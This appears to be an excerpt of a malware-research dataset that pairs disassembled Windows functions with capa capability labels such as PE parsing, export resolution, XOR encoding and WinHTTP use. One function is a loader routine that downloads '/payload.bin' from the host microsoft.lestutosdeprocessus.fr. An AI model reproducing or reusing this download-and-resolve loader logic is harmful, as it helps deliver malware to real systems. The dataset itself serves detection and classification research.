joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001440
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
push rsi
push rdi
sub rsp, 0x118
mov rsi, rdx
mov rdi, rcx
test rcx, rcx
je 0x1400015d5
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400015d5
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x1400015d5
movups xmm0, xmmword [rax + 0x18]
lea rcx, [rsp + 0x20]
mov qword [r11 + 8], rbx
movups xmm1, xmmword [rax + 0x28]
mov qword [r11 + 0x10], rbp
xor r9d, r9d
movups xmmword [rcx], xmm0
mov qword [r11 + 0x18], r14
movups xmm0, xmmword [rax + 0x38]
mov qword [r11 - 0x18], r15
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x48]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x68]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x78]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax + 0x88]
sub rax, 0xffffffffffffff68
movups xmmword [rcx - 0x10], xmm0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rcx], xmm1
movups xmm1, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm0
movups xmm0, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm1
movups xmm1, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm0
movups xmm0, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm1
movups xmm1, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm0
movups xmmword [rcx + 0x60], xmm1
mov eax, dword [r11 - 0x98]
add rax, rdi
mov r11d, dword [rax + 0x20]
mov r15d, dword [rax + 0x1c]
add r11, rdi
mov ebx, dword [rax + 0x24]
add r15, rdi
mov r14d, dword [rax + 0x14]
add rbx, rdi
test r14d, r14d
je 0x140001579
mov r10d, dword [r11]
mov rax, rsi
movzx ebp, word [rbx]
add r10, rdi
mov r8, r10
sub r8, rsi
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001565
inc rax
test ecx, ecx
jne 0x140001552
test edx, edx
je 0x1400015b4
inc r9d
add r11, 4
add rbx, 2
cmp r9d, r14d
jb 0x140001540
mov rdx, rsi
lea rcx, str._n_t____Function__s_not_found_n
call fcn.140001070
xor eax, eax
mov r14, qword [rsp + 0x140]
mov rbp, qword [rsp + 0x138]
mov rbx, qword [rsp + 0x130]
mov r15, qword [rsp + 0x110]
add rsp, 0x118
pop rdi
pop rsi
ret
mov ebx, dword [r15 + rbp*4]
lea rcx, str.___Function__s_found_at_address_0x_p_with_ordinal__d_n
add rbx, rdi
mov r9d, ebp
mov r8, rbx
mov rdx, r10
call fcn.140001070
mov rax, rbx
jmp 0x14000158a
xor eax, eax
add rsp, 0x118
pop rdi
pop rsi
ret
Function at 0x1400015f0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
mov eax, 0x1070
call fcn.140002cf0
sub rsp, rax
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x1060], rax
mov rdi, rcx
mov qword [rsp + 0x48], rcx
xor r14d, r14d
mov dword [rsp + 0x40], r14d
lea rcx, str.___Downloading_remote_payload_n
call fcn.140001070
mov dword [rsp + 0x20], 0x30000000
xor r9d, r9d
xor r8d, r8d
lea edx, [r14 + 4]
xor ecx, ecx
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rsi, rax
mov r8d, 0x1bb
xor r9d, r9d
lea rdx, str.microsoft.lestutosdeprocessus.fr
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rbp, rax
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, str._payload.bin
lea rdx, [0x140003470]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rbx, rax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi], r14
mov qword [rdi + 8], r14
mov qword [rdi + 0x10], r14
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x50], r14d
nop word [rax + rax]
xor edx, edx
mov r8d, 0x1000
lea rcx, [rsp + 0x60]
call sub.VCRUNTIME140.dll_memset
lea r9, [rsp + 0x50]
mov r8d, 0x1000
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov eax, dword [rsp + 0x50]
test eax, eax
je 0x14000173e
mov r9d, eax
mov rdx, qword [rdi + 8]
lea r8, [rsp + 0x60]
mov rcx, rdi
call fcn.140001ad0
cmp dword [rsp + 0x50], 0
ja 0x1400016f0
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rax, rdi
mov rcx, qword [rsp + 0x1060]
xor rcx, rsp
call fcn.140001d70
lea r11, [rsp + 0x1070]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x140002824
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000286e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000286e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000286e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000286e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000286e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002870
xor al, al
add rsp, 0x28
ret
Function at 0x2fc4d5910
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4d6312
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f8108]
test eax, eax
je 0x2fc4d63aa
lea rax, [0x2fc4f80e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f8110]
mov qword [rbp - 8], rax
jmp 0x2fc4d638e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d6382
cmp qword [rbp - 0x10], 0
je 0x2fc4d6382
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d6348
lea rax, [0x2fc4f80e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d63ab
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d64b0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d64d8
mov eax, 0
jmp 0x2fc4d6526
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d6501
mov eax, 0
jmp 0x2fc4d6526
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d6521
mov eax, 0
jmp 0x2fc4d6526
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d652c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d65aa
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d65a1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d65a1
mov rax, qword [rbp - 8]
jmp 0x2fc4d65bf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d6574
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140d94000
Capabilities:
Decompress data using aplib

Disassembly:
jmp 0x140d9400a
jmp 0x140d9600f
jmp fcn.14094a058
Function at 0x1400010b4
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
jmp 0x140035c48
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x140035cd5
movsxd rcx, dword [0x14000003c]
lea rdx, [0x140000000]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140035cd5
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140035cd5
sub r8, rdx
movzx edx, word [rcx + 0x14]
add rdx, 0x18
add rdx, rcx
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x140035cbc
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x140035cb6
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x140035cbe
add rdx, 0x28
jmp 0x140035c9b
xor edx, edx
test rdx, rdx
jne 0x140035cc7
xor al, al
jmp 0x140035cdb
cmp dword [rdx + 0x24], 0
jge 0x140035cd1
xor al, al
jmp 0x140035cdb
mov al, 1
jmp 0x140035cdb
xor al, al
jmp 0x140035cdb
add rsp, 0x18
ret

Function at 0x140001109
Capabilities:
Terminate process

Disassembly:
jmp 0x14003543c
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
Function at 0x14000113b
Capabilities:
Terminate process

Disassembly:
jmp 0x140035424
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov ecx, 1
call fcn.1400011d6
test al, al
je 0x1400352ef
xor sil, sil
mov byte [rsp + 0x20], sil
call fcn.1400011b3
mov bl, al
mov ecx, dword [0x1400967f8]
cmp ecx, 1
je 0x1400352fa
test ecx, ecx
jne 0x140035225
mov dword [0x1400967f8], 1
lea rdx, [0x14003a660]
lea rcx, [0x14003a330]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
test eax, eax
je 0x140035206
mov eax, 0xff
jmp 0x1400352df
lea rdx, [0x14003a220]
lea rcx, [section..rdata]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [0x1400967f8], 2
jmp 0x14003522d
mov sil, 1
mov byte [rsp + 0x20], sil
mov cl, bl
call fcn.14000119f
call fcn.140001159
mov rbx, rax
cmp qword [rax], 0
je 0x140035260
mov rcx, rax
call fcn.1400010b4
test al, al
je 0x140035260
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [rbx]
call qword [0x140099020]
call fcn.14000117c
mov rbx, rax
cmp qword [rax], 0
je 0x140035282
mov rcx, rax
call fcn.1400010b4
test al, al
je 0x140035282
mov rcx, qword [rbx]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_initial_narrow_environment
mov rdi, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argv
mov rbx, qword [rax]
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argc
mov r8, rdi
mov rdx, rbx
mov ecx, dword [rax]
call fcn.140001136
mov ebx, eax
call fcn.140001140
test al, al
je 0x140035304
test sil, sil
jne 0x1400352b9
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
xor edx, edx
mov cl, 1
call fcn.1400010aa
mov eax, ebx
jmp 0x1400352df
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov ecx, 7
call fcn.1400011a9
nop
mov ecx, 7
call fcn.1400011a9
mov ecx, ebx
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop
mov ecx, ebx
call sub.api_ms_win_crt_runtime_l1_1_0.dll__exit
nop
int3
sub rsp, 0x28
call fcn.14000114a
add rsp, 0x28
jmp 0x140035198

Function at 0x140001140
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400361fc
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140036246
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140036246
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140036246
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140036246
cmp dword [rcx + 0x84], 0xe
jbe 0x140036246
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140036248
xor al, al
add rsp, 0x28
ret
Function at 0x1400361fc
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400361fc
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140036246
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140036246
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140036246
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140036246
cmp dword [rcx + 0x84], 0xe
jbe 0x140036246
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140036248
xor al, al
add rsp, 0x28
ret
Function at 0x408df0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x0040d1d0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x408e5d
mov rcx, r8
call fcn.00408cd0
test eax, eax
je 0x408e5d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x408e5d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x408e54
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x408e5f
add rax, 0x28
cmp rax, r9
jne 0x408e40
xor eax, eax
add rsp, 0x28
ret
Function at 0x140002306
Capabilities:
Check if file exists

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
cmp qword [rcx], rdx
je 0x14000235d
mov rdi, rdx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, rsi
call fcn.140002366
lea rax, [rdi + 1]
cmp rax, 2
jb 0x14000234d
mov qword [rsi], rdi
call fcn.14002a7e0
mov r8, qword [rsp + 0x38]
mov rcx, rdi
mov rdx, rsi
mov r9, rax
call fcn.14002ecb0
mov ecx, ebx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_SetLastError]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
Function at 0x140008980
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x88
movdqa xmmword [rsp + 0x70], xmm13
movdqa xmmword [rsp + 0x60], xmm12
movdqa xmmword [rsp + 0x50], xmm11
movdqa xmmword [rsp + 0x40], xmm10
movdqa xmmword [rsp + 0x30], xmm9
movdqa xmmword [rsp + 0x20], xmm8
movdqa xmmword [rsp + 0x10], xmm7
movdqa xmmword [rsp], xmm6
movdqu xmm4, xmmword [rcx]
movdqu xmm3, xmmword [rcx + 0x10]
movdqu xmm2, xmmword [rcx + 0x20]
movdqu xmm1, xmmword [rcx + 0x30]
movd xmm0, r8d
pxor xmm0, xmm4
lea r8, [rdx - 0x40]
lea r11, [rcx + 0x40]
mov eax, 0x40
cmp r8, rax
jb 0x140008acd
add rdx, 0xffffffffffffff80
mov r9, rdx
and r9, 0xffffffffffffffc0
mov r10, r9
sub r10, 0xffffffffffffff80
movabs rax, 0x154442bd4
movq xmm9, rax
movdqa xmm8, xmmword [0x1400d43b0]
movdqa xmm6, xmm0
pclmulqdq xmm6, xmm9, 0
movdqa xmm12, xmm3
pclmulqdq xmm12, xmm9, 0
movdqa xmm11, xmm2
pclmulqdq xmm11, xmm9, 0
movdqa xmm10, xmm1
pclmulqdq xmm10, xmm9, 0
movdqa xmm4, xmm0
pclmulqdq xmm4, xmm8, 0x11
movdqa xmm5, xmm3
pclmulqdq xmm5, xmm8, 0x11
movdqa xmm7, xmm2
pclmulqdq xmm7, xmm8, 0x11
movdqa xmm13, xmm1
pclmulqdq xmm13, xmm8, 0x11
movdqu xmm0, xmmword [r11]
pxor xmm0, xmm6
pxor xmm0, xmm4
movdqu xmm3, xmmword [r11 + 0x10]
pxor xmm3, xmm12
pxor xmm3, xmm5
movdqu xmm2, xmmword [r11 + 0x20]
pxor xmm2, xmm11
pxor xmm2, xmm7
movdqu xmm1, xmmword [r11 + 0x30]
pxor xmm1, xmm10
pxor xmm1, xmm13
add r8, 0xffffffffffffffc0
add r11, 0x40
cmp r8, 0x3f
ja 0x140008a18
sub rdx, r9
add rcx, r10
mov r8, rdx
mov r11, rcx
movabs rax, 0x1751997d0
movq xmm4, rax
movdqa xmm5, xmm0
pclmulqdq xmm5, xmm4, 0
pxor xmm5, xmm3
movdqa xmm3, xmmword [0x1400d43c0]
pclmulqdq xmm0, xmm3, 0x11
pxor xmm0, xmm5
movdqa xmm5, xmm0
pclmulqdq xmm5, xmm4, 0
pxor xmm5, xmm2
pclmulqdq xmm0, xmm3, 0x11
pxor xmm0, xmm5
movdqa xmm2, xmm0
pclmulqdq xmm2, xmm4, 0
pxor xmm2, xmm1
pclmulqdq xmm0, xmm3, 0x11
pxor xmm0, xmm2
cmp r8, 0x10
jb 0x140008b5d
movdqu xmm1, xmmword [r11]
movdqa xmm2, xmm0
pclmulqdq xmm2, xmm4, 0
pclmulqdq xmm0, xmm3, 0x11
pxor xmm0, xmm1
pxor xmm0, xmm2
add r11, 0x10
add r8, 0xfffffffffffffff0
cmp r8, 0xf
ja 0x140008b32
movdqa xmm1, xmmword [0x1400d43c0]
pclmulqdq xmm1, xmm0, 1
psrldq xmm0, 8
pxor xmm0, xmm1
pmovzxdq xmm1, xmm0
psrldq xmm0, 4
movabs rax, 0x163cd6124
movq xmm2, rax
pclmulqdq xmm2, xmm1, 0
pxor xmm2, xmm0
pmovzxdq xmm0, xmm2
pclmulqdq xmm0, xmmword [0x1400d43d0], 0x10
pmovzxdq xmm0, xmm0
movabs rax, 0x1db710641
movq xmm1, rax
pclmulqdq xmm1, xmm0, 0
pxor xmm1, xmm2
pextrd eax, xmm1, 1
movaps xmm6, xmmword [rsp]
movaps xmm7, xmmword [rsp + 0x10]
movaps xmm8, xmmword [rsp + 0x20]
movaps xmm9, xmmword [rsp + 0x30]
movaps xmm10, xmmword [rsp + 0x40]
movaps xmm11, xmmword [rsp + 0x50]
movaps xmm12, xmmword [rsp + 0x60]
movaps xmm13, xmmword [rsp + 0x70]
add rsp, 0x88
ret
Function at 0x140025240
Capabilities:
Accept command line arguments

Disassembly:
push rsi
sub rsp, 0x40
mov rax, qword [0x1400ff388]
xor rax, rsp
mov qword [rsp + 0x38], rax
cmp qword [0x140102a60], 0
je 0x140025265
xor esi, esi
jmp 0x1400252f5
mov ecx, 0x38
call fcn.1400a8d70
mov rsi, rax
mov ecx, 0x18
call fcn.1400a8d70
mov qword [rsi], rax
lea rcx, [rax + 0x18]
mov qword [rsi + 0x10], rcx
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
mov qword [rsi + 8], rcx
lea rax, [rsi + 0x20]
movups xmmword [rsi + 0x20], xmm0
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x30], 1
mov qword [0x140102a60], rsi
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x28], rax
test rax, rax
je 0x1400252de
cmp word [rax], 0
je 0x1400252de
xor ecx, ecx
nop dword [rax]
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x1400252d0
jmp 0x1400252e0
xor ecx, ecx
mov qword [rsp + 0x30], rcx
lea rdx, [rsp + 0x28]
mov rcx, rsi
call fcn.140025310
mov sil, 1
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400a91f0
mov eax, esi
add rsp, 0x40
pop rsi
ret
Function at 0x140025310
Capabilities:
Accept command line arguments

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x10], xmm6
mov rsi, rdx
mov r14, rcx
mov rax, qword [0x1400ff388]
xor rax, rbp
mov qword [rbp + 8], rax
movups xmm0, xmmword [rdx]
movaps xmmword [rbp - 0x10], xmm0
lea rcx, [rbp - 0x30]
lea rdx, [rbp - 0x10]
mov r8d, 3
call fcn.1400334d0
movups xmm0, xmmword [rbp - 0x30]
movups xmmword [rsi], xmm0
cmp qword [rsi + 8], 0
je 0x1400254bd
mov dword [rbp - 0x14], 0
mov rcx, qword [rsi]
lea rdx, [rbp - 0x14]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov r15, rax
xorps xmm0, xmm0
movaps xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], 0
movsxd rax, dword [rbp - 0x14]
test rax, rax
js 0x1400254e1
test eax, eax
je 0x14002545d
lea rdi, [r15 + rax*8]
lea rbx, [rbp - 0x50]
lea r13, [rbp - 0x60]
xorps xmm6, xmm6
lea r12, [rbp - 0x30]
mov rsi, r15
mov rax, qword [rsi]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x1400253f0
cmp word [rax], 0
je 0x1400253f0
xor ecx, ecx
nop word cs:[rax + rax]
nop
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x1400253e0
jmp 0x1400253f2
xor ecx, ecx
mov qword [rbp - 0x58], rcx
mov rcx, rbx
mov rdx, r13
call fcn.14002dfc0
mov rax, qword [rbp - 0x28]
cmp rax, qword [rbp - 0x20]
jae 0x140025430
mov rcx, qword [rbp - 0x40]
mov qword [rax + 0x10], rcx
movaps xmm0, xmmword [rbp - 0x50]
movups xmmword [rax], xmm0
movaps xmmword [rbp - 0x50], xmm6
mov qword [rbp - 0x40], 0
add qword [rbp - 0x28], 0x18
jmp 0x140025450
mov rcx, r12
mov rdx, rbx
call fcn.1400273c0
cmp byte [rbp - 0x39], 0
jns 0x140025450
mov rcx, qword [rbp - 0x50]
call fcn.1400a8dcc
nop word [rax + rax]
add rsi, 8
cmp rsi, rdi
jne 0x1400253c0
lea rdx, [rbp - 0x30]
mov rcx, r14
call fcn.140025060
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rsi, qword [rbp - 0x30]
test rsi, rsi
je 0x1400254bd
mov rax, qword [rbp - 0x28]
cmp rax, rsi
je 0x1400254b1
nop word cs:[rax + rax]
nop
lea rdi, [rax - 0x18]
cmp byte [rax - 1], 0
jns 0x1400254a3
mov rcx, qword [rax - 0x18]
call fcn.1400a8dcc
mov rax, rdi
cmp rsi, rdi
jne 0x140025490
mov rcx, qword [rbp - 0x30]
jmp 0x1400254b4
mov rcx, rsi
mov qword [rbp - 0x28], rsi
call fcn.1400a8dcc
mov rcx, qword [rbp + 8]
xor rcx, rbp
call fcn.1400a91f0
movaps xmm6, xmmword [rbp + 0x10]
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
Function at 0x14002a9e0
Capabilities:
Get common file path

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x258
mov rax, qword [0x1400ff388]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov r14b, 1
cmp qword [0x140102ad0], 0
jne 0x14002ac6f
mov rdi, qword [0x140102a88]
test rdi, rdi
je 0x14002aadf
test byte [0x1400ff338], 1
je 0x14002ac6f
cmp byte [rdi + 0x17], 0
jns 0x14002aa38
mov rdi, qword [rdi]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
mov rcx, rdi
mov edx, 4
mov r8d, 3
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x140102ad0], rax
add rax, 1
cmp rax, 1
ja 0x14002ac6f
mov word [rsp + 0x40], 0
lea rdx, [rsp + 0x40]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
test eax, eax
je 0x14002ac6c
cmp eax, 0x104
ja 0x14002ac6c
mov rcx, qword [0x140102a88]
lea rdx, [rsp + 0x40]
call fcn.14002338a
mov rcx, qword [0x140102a88]
movzx eax, byte [rcx + 0x17]
test al, al
js 0x14002abe5
mov rdx, rcx
cmp word [rdx + rax*2 - 2], 0x5c
jne 0x14002abf4
jmp 0x14002ac07
movabs rbp, 0x7fffffffffffffef
mov ecx, 0x18
call fcn.1400a8d70
mov rdi, rax
lea rsi, [rsp + 0x40]
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], 0
mov rcx, rsi
call fcn.1400bf288
cmp rax, rbp
ja 0x14002ac92
mov rbx, rax
cmp rax, 0xb
jae 0x14002ab41
mov byte [rdi + 0x17], bl
mov r15, rdi
test rbx, rbx
jne 0x14002ab6d
jmp 0x14002ab80
lea rsi, [rbx + 8]
and rsi, 0xfffffffffffffff8
js 0x14002ac9c
lea rcx, [rsi + rsi]
call fcn.1400a8d70
mov r15, rax
mov qword [rdi], rax
add rbp, 0x11
or rbp, rsi
mov qword [rdi + 0x10], rbp
mov qword [rdi + 8], rbx
mov r8, rbx
add r8, rbx
lea rdx, [rsp + 0x40]
mov rcx, r15
call fcn.1400abb80
mov word [r15 + rbx*2], 0
movzx r8d, byte [rdi + 0x17]
test r8b, r8b
jns 0x14002ab95
mov r8, qword [rdi + 8]
mov rcx, rdi
mov dx, 0x5c
call fcn.1400235c4
cmp rax, 0xffffffffffffffff
je 0x14002abbd
add rax, 1
mov rcx, rdi
mov rdx, rax
mov r8, 0xffffffffffffffff
call fcn.1400234ea
lea rdx, [0x1400d7a8c]
mov rcx, rdi
call fcn.1400231be
mov qword [0x140102a88], rdi
test byte [0x1400ff338], 1
jne 0x14002aa2f
jmp 0x14002ac6f
mov rdx, qword [rcx]
mov rax, qword [rcx + 8]
cmp word [rdx + rax*2 - 2], 0x5c
je 0x14002ac07
